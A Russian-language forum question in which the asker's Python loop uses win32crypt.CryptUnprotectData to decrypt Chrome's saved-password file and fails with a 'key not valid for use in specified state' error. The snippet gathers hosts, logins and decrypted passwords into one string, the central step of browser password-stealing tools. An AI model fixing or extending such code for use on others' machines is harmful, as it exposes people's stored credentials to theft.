Исправить «Ключ недействителен в указанном состоянии» Ошибка CryptProtectData - PullRequest
0 голосов
/ 03 марта 2020

У меня проблемы с моим кодом, который должен расшифровывать Chrome Файл паролей браузера. Процесс расшифровки в моем коде выглядит следующим образом:

for info in value:
        password = win32crypt.CryptUnprotectData(info[2], None, None, None, 0)[1]
        if password:
            result += 'Host: %s\nLogin: %s\nPassword: %s\n\n' % (info[:2] + (password.decode('utf-8'),))

Однако использование этого кода вызывает исключение:

Ключ недействителен в указанном состоянии

Я знаю, что это в основном означает, что ключ дешифрования неправильный. Но я не понимаю, почему. Я расшифровываю файл на том же компьютере, на котором включен файл пароля браузера. Почему эта ошибка все еще происходит?

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...